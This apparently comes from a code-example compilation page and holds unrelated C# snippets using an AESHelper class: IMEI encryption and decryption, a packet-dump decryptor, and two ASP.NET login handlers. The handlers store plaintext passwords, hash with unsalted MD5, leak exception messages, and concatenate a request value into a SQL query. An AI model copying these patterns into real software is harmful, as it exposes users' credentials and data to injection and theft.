            long     totalMilliseconds = (long)span.TotalMilliseconds;

            byte[] buffer  = LongToByteArray(totalMilliseconds, true);
            byte[] buffer2 = imei.HexToBinary();
            int    length  = buffer2.Length;
            int    key     = num3 % length;

            byte[] buffer3 = new byte[] { buffer[0], buffer[1], buffer[2] };
            KeyValuePair <int, byte[]> pair = new KeyValuePair <int, byte[]>(key, buffer3);
            int num8 = num4 % length;

            byte[] buffer4 = new byte[] { buffer[3], buffer[4], buffer[5] };
            KeyValuePair <int, byte[]> pair2 = new KeyValuePair <int, byte[]>(num8, buffer4);
            int num9 = 2;

            byte[] bytes = new byte[length + 6];
            KeyValuePair <int, byte[]>[] pairArray = new KeyValuePair <int, byte[]> [num9];
            if (key <= num8)
            {
                pairArray[0] = pair;
                pairArray[1] = pair2;
            }
            else
            {
                pairArray[0] = pair2;
                pairArray[1] = pair;
            }
            int index = 0;
            int num11 = 0;

            for (int i = 0; i < num9; i++)
            {
                int    num13   = pairArray[i].Key;
                byte[] buffer6 = pairArray[i].Value;
                int    num14   = num13 - num11;
                if (num14 != 0)
                {
                    for (int m = 0; m < num14; m++)
                    {
                        bytes[index] = buffer2[num11];
                        num11++;
                        index++;
                    }
                }
                for (int k = 0; k < buffer6.Length; k++)
                {
                    bytes[index] = buffer6[k];
                    index++;
                }
            }
            int num17 = length - num11;

            for (int j = 0; j < num17; j++)
            {
                bytes[index] = buffer2[num11];
                num11++;
                index++;
            }
            return(AESHelper.EncryptBytes(bytes, _aes_key, _aes_iv).BinaryToHex());
        }
Beispiel #31
0
        internal static RequestImeiDto Decrypt(string encryptedImei, string url, string userAgent, double lng, double lat)
        {
            RequestImeiDto dto = new RequestImeiDto(encryptedImei);

            try
            {
                if (string.IsNullOrEmpty(encryptedImei))
                {
                    dto.IsFake = true;
                    return(dto);
                }
                byte[] src = null;
                src       = AESHelper.DecryptBytes(encryptedImei.HexToBinary(), _aes_key, _aes_iv);
                url       = (url == null) ? "" : url.ToLower().Trim();
                userAgent = (userAgent == null) ? "" : userAgent.ToLower().Trim();
                int      num     = (int)(lng * 10000000.0);
                int      num2    = (int)(lat * 10000000.0);
                string   str     = string.Format("{0}{1}{2}", url, num, num2);
                string   str2    = string.Format("{0}{1}{2}", userAgent, num, num2);
                int      num3    = Math.Abs(GetHashCode2(str));
                int      num4    = Math.Abs(GetHashCode2(str2));
                DateTime time    = _init_time.AddSeconds((double)-num3);
                int      length  = src.Length;
                int      num6    = length - 6;
                int      key     = num3 % num6;
                int      num8    = num4 % num6;
                int      num9    = 2;
                byte[]   dst     = new byte[8];
                byte[]   buffer3 = new byte[num6];
                KeyValuePair <int, int>[] pairArray = new KeyValuePair <int, int> [2];
                if (key <= num8)
                {
                    pairArray[0] = new KeyValuePair <int, int>(key, 0);
                    pairArray[1] = new KeyValuePair <int, int>(num8, 1);
                }
                else
                {
                    pairArray[0] = new KeyValuePair <int, int>(num8, 1);
                    pairArray[1] = new KeyValuePair <int, int>(key, 0);
                }
                int srcOffset = 0;
                int dstOffset = 0;
                for (int i = 0; i < num9; i++)
                {
                    int num13 = pairArray[i].Key + (i * 3);
                    int num14 = pairArray[i].Value;
                    int num15 = num13 - srcOffset;
                    if (num15 != 0)
                    {
                        Buffer.BlockCopy(src, srcOffset, buffer3, dstOffset, num15);
                        dstOffset += num15;
                        srcOffset += num15;
                    }
                    Buffer.BlockCopy(src, num13, dst, num14 * 3, 3);
                    srcOffset += 3;
                }
                int count = length - srcOffset;
                if (count != 0)
                {
                    Buffer.BlockCopy(src, srcOffset, buffer3, dstOffset, count);
                }
                long num17 = BitConverter.ToInt64(dst, 0);
                dto.GenerateTime = new DateTime?(time.AddMilliseconds((double)num17).ToLocalTime());
                dto.RealImei     = buffer3.BinaryToHex();
                dto.IsFake       = false;
                return(dto);
            }
            catch
            {
                dto.IsFake = true;
                return(dto);
            }
        }
Beispiel #32
0
        protected void Page_Load(object sender, EventArgs e)
        {
            try
            {
                string platform = Request.Form["platform"];
                string deviceID = Request.Form["DeviceID"];
                string loginkey = Request.Form["loginkey"];
                if (string.IsNullOrEmpty(platform))
                {
                    Response.Write(Helper.buildLuaReturn(-1, "platform is empty"));
                    return;
                }
                if (string.IsNullOrEmpty(loginkey))
                {
                    Response.Write(Helper.buildLuaReturn(-1, "loginkey is empty"));
                    return;
                }
                if (string.IsNullOrEmpty(deviceID))
                {
                    deviceID = "";
                }

                string dataStr = Encoding.Default.GetString(Convert.FromBase64String(loginkey));
                dataStr = AESHelper.AESDecrypt(dataStr, AES_KEY);
                string[] data = dataStr.Split(':');
                if (data.Length < 3)
                {
                    Response.Write(BuildAccount.buildLuaReturn(-2, "data error"));
                    return;
                }
                string acc    = data[0];
                string pwd    = data[1];
                string rsakey = data[2];
                //帐号表
                string acc_table = "thdwc_acc";


                //判断是否存在帐号
                if (MongodbAccount.Instance.KeyExistsBykey(acc_table, "acc", acc))
                {
                    //检测帐号是否能登陆
                    int retCode = tryLogin(acc, pwd, acc_table);
                    if (retCode == 0)
                    {
                        Random rd      = new Random();
                        int    randkey = rd.Next();
                        Dictionary <string, object> updata = new Dictionary <string, object>();
                        DateTime now = DateTime.Now;
                        updata["randkey"]  = randkey;
                        updata["lasttime"] = now.Ticks;
                        updata["lastip"]   = Request.ServerVariables.Get("Remote_Addr").ToString();
                        string strerr = MongodbAccount.Instance.ExecuteUpdate(acc_table, "acc", acc, updata);
                        if (strerr != "")
                        {
                            Response.Write(BuildAccount.buildLuaReturn(-11, "server error"));
                        }
                        else
                        {
                            RSAHelper rsa = new RSAHelper();
                            rsa.setModulus(rsakey);

                            string clientkey = randkey.ToString() + ":" + now.Ticks.ToString();
                            Response.Write(BuildAccount.buildLuaReturn(0, AESHelper.AESEncrypt(clientkey, AES_KEY)));

                            Dictionary <string, object> savelog = new Dictionary <string, object>();
                            savelog["acc"]      = acc;
                            savelog["ip"]       = Request.ServerVariables.Get("Remote_Addr").ToString();
                            savelog["time"]     = now;
                            savelog["DeviceID"] = deviceID;
                            MongodbAccount.Instance.ExecuteInsert("LoginLog", savelog);
                        }
                    }
                    else
                    {
                        Response.Write(BuildAccount.buildLuaReturn(retCode, "acc error"));
                    }
                }
                else
                {
                    //注册新帐号
                    Random rd      = new Random();
                    int    randkey = rd.Next();
                    Dictionary <string, object> updata = new Dictionary <string, object>();
                    updata["acc"] = acc;
                    updata["pwd"] = pwd;
                    DateTime now = DateTime.Now;
                    updata["randkey"]     = randkey;
                    updata["lasttime"]    = now.Ticks;
                    updata["regedittime"] = now;
                    updata["regeditip"]   = Request.ServerVariables.Get("Remote_Addr").ToString();
                    updata["updatepwd"]   = false;
                    updata["platform"]    = platform;

                    string strerr = MongodbAccount.Instance.ExecuteStoreBykey(acc_table, "acc", acc, updata);
                    if (strerr != "")
                    {
                        Response.Write(BuildAccount.buildLuaReturn(-11, "server error"));
                    }
                    else
                    {
                        RSAHelper rsa = new RSAHelper();
                        rsa.setModulus(rsakey);

                        string clientkey = randkey.ToString() + ":" + now.Ticks.ToString();
                        Response.Write(BuildAccount.buildLuaReturn(0, AESHelper.AESEncrypt(clientkey, AES_KEY)));

                        Dictionary <string, object> savelog = new Dictionary <string, object>();
                        savelog["acc"]      = acc;
                        savelog["ip"]       = Request.ServerVariables.Get("Remote_Addr").ToString();
                        savelog["time"]     = now;
                        savelog["DeviceID"] = deviceID;
                        MongodbAccount.Instance.ExecuteInsert("LoginLog", savelog);
                    }
                }
            }
            catch (Exception ex)
            {
                Response.Write(BuildAccount.buildLuaReturn(-1, ex.Message));
            }
        }
        public override bool Run()
        {
            if (!File.Exists) return false;
            if (!OutFolder.Exists) return false;

            AESHelper aes = null;
            if (AESHelper.IsConfigured(this))
            {
                aes = new AESHelper(this);
                WriteInfo("Using AES Encryption");
            }
            else WriteError("Read in RawMode");

            WriteInfo("Start reading file ...");
            Dictionary<string, List<packet>> dic = new Dictionary<string, List<packet>>();

            using (Stream fs = (Stream)File.OpenRead())
            using (StreamReader sr = new StreamReader(fs))
            {
                string line;
                while ((line = sr.ReadLine()) != null)
                {
                    string fileId;
                    packet packet;

                    if (!parse(line, out fileId, out packet)) continue;

                    if (dic.ContainsKey(fileId))
                    {
                        dic[fileId].Add(packet);
                    }
                    else
                    {
                        List<packet> pc = new List<packet>();
                        pc.Add(packet);
                        dic.Add(fileId, pc);
                    }
                }
            }

            WriteInfo("Located " + dic.Keys.Count.ToString() + (dic.Keys.Count == 1 ? " file" : " files"));
            if (dic.Keys.Count > 0)
            {
                WriteInfo("Reordering packets ...");

                foreach (string k in dic.Keys)
                {
                    List<packet> p = dic[k];
                    p.Sort(sortPacket);
                }

                WriteInfo("Dump files ...");

                foreach (string k in dic.Keys)
                {
                    List<packet> lp = dic[k];
                    string path = OutFolder + System.IO.Path.DirectorySeparatorChar.ToString() + k + ".dat";

                    using (MemoryStream ms = new MemoryStream())
                    {
                        foreach (packet p in lp)
                            ms.Write(p.Data, 0, p.Data.Length);

                        if (aes != null)
                        {
                            byte[] d = aes.Decrypt(ms.ToArray());
                            if (d == null)
                            {
                                WriteError("Error in decrypt process");
                                continue;
                            }
                            System.IO.File.WriteAllBytes(path, d);
                        }
                        else
                        {
                            System.IO.File.WriteAllBytes(path, ms.ToArray());
                        }

                        WriteInfo("Created file '" + path + "'", new FileInfo(path).Length.ToString(), ConsoleColor.Green);
                    }
                }
            }
            return true;
        }
Beispiel #34
0
    protected void Page_Load(object sender, EventArgs e)
    {
        if (!IsPostBack)
        {
            string Url   = Request["user"] + "";
            string sign  = Request["sign"] + "";
            string valid = Request["valid"] + "";

            if (sign == "-1" || valid == "-1" || Url == "加密失败")
            {
                this.pError.InnerHtml = "登录信息异常!";
                return;
            }

            //解密
            string userUrl = new AESHelper().KeyDecrypt(sign, valid, Url);

            if (userUrl == "-1")
            {
                this.pError.InnerHtml = "认证过期!";
                return;
            }
            else if (userUrl == "-2")
            {
                this.pError.InnerHtml = "认证异常!";
                return;
            }

            JsonData JInfo = JsonMapper.ToObject(userUrl);

            if (JInfo["username"].ToString() != "" && JInfo["password"].ToString() != "")
            {
                type     = JInfo["type"].ToString();
                username = JInfo["username"].ToString();
                password = JInfo["password"].ToString();
                logo     = JInfo["logo"].ToString();
                //add by hgh
                compid = JInfo["compid"].ToString();
            }
            else
            {
                this.pError.InnerHtml = "url参数不能为空!";
                return;
            }

            if (!DBHelper.IsOpen())
            {
                this.pError.InnerHtml = "-系统无法连接数据库服务器,请联系管理员!";
                return;
            }
            List <Hi.Model.SYS_CompUser> ListCompUser = null;
            List <Hi.Model.SYS_Users>    ListUsers    = null;

            ListUsers = new Hi.BLL.SYS_Users().GetListUser("top 1 *", "Username", username, "");
            if (ListUsers.Count > 0)
            {
                if (ListUsers.Where(T => T.IsEnabled == 1).ToList().Count == 0)
                {
                    this.pError.InnerHtml = "用户已被禁用!";
                    return;
                }
                if (Util.md5(Password) != ListUsers[0].UserPwd)
                {
                    //登录录日志
                    Utils.EditLog("安全日志", Username, "用户" + Username + "登录管理系统失败,密码错误。", "系统安全模块", loginUrl, 0, 0, ListUsers[0].Type);
                    this.pError.InnerHtml = "登录密码错误!";
                    return;
                }
                ListCompUser = new Hi.BLL.SYS_CompUser().GetList("*", " dr=0 and Compid='" + compid + "' and Userid=" + ListUsers[0].ID + "", " createdate ");
                if (ListCompUser.Count > 0)
                {
                    if (ListCompUser.Where(T => T.IsEnabled == 1).ToList().Count == 0)
                    {
                        //登录录日志
                        //Utils.EditLog("安全日志", Username, "用户" + Username + "登录管理系统失败,用户帐号所有角色已被禁用。", "系统安全模块", loginUrl, 0, 0, ListCompUser[0].UType);
                        this.pError.InnerHtml = "您的账户已被禁用!";
                        return;
                    }
                }
                else
                {
                    //登录录日志
                    //Utils.EditLog("安全日志", Username, "用户" + Username + "登录管理系统失败,用户明细表(SYS_CompUser)异常。", "系统安全模块", loginUrl, 0, 0, ListCompUser[0].UType);
                    //Msg.Msg = "用户异常,请联系网站客服!";
                    this.pError.InnerHtml = "用户名或密码错误!";
                    return;
                }

                //UserLogin(ListUsers[0]);
                Hi.Model.SYS_Users User   = ListUsers[0];
                LoginModel         Umodel = new LoginModel();
                //Umodel.Url = loginUrl;
                if (compid == "1203")
                {
                    Umodel.Url = "/jlc/";
                }
                Umodel.UserName = User.UserName;
                Umodel.TrueName = User.TrueName;
                Umodel.UserID   = User.ID;
                Umodel.TypeID   = ListCompUser[0].UType;
                Umodel.Ctype    = ListCompUser[0].CType;
                Umodel.CompID   = ListCompUser[0].CompID;
                Umodel.DisID    = ListCompUser[0].DisID;
                Umodel.Phone    = User.Phone;
                Umodel.CUID     = Common.DesEncrypt(ListCompUser[0].ID.ToString(), Common.EncryptKey);
                //Umodel.IsPhoneLogin = IsphoneLogin;
                Session.Remove("UserModel");
                //string sql = "select rf.FunCode from SYS_RoleSysFun rf join SYS_CompUser u on u.RoleID=rf.RoleID  where u.UserID=" + User.ID;
                //DataTable dt = SqlHelper.Query(SqlHelper.LocalSqlServer, sql).Tables[0];
                //var query = dt.AsEnumerable().Select(t => t.Field<string>("FunCode"));
                //string Code = string.Join(",", query);
                //Umodel.UserPowerCode = Code;
                Session["UserModel"] = Umodel;

                //if (Umodel.TypeID.ToString() == "1" || Umodel.TypeID.ToString() == "5")//代理商
                //{
                //    Response.Redirect("/Distributor/UserIndex.aspx");
                //}
                if (Umodel.TypeID.ToString() == "3" || Umodel.TypeID.ToString() == "4")//厂商
                {
                    Response.Redirect("/Company/jsc.aspx");
                }
                else
                {
                    Response.Redirect("/Distributor/UserIndex.aspx");
                }

                Utils.EditLog("安全日志", User.UserName, "用户" + User.UserName + "登录管理系统成功。", "系统安全模块", loginUrl, 0, 1, ListCompUser[0].UType);

                HttpCookie cookie = new HttpCookie("loginmodel", System.Web.HttpUtility.UrlEncode(User.UserName));
                cookie.Expires  = DateTime.Now.AddDays(7);
                cookie.HttpOnly = true;
                Response.Cookies.Add(cookie);
            }
            else
            {
                this.pError.InnerHtml = "用户名或密码错误!";
                return;
            }
        }
    }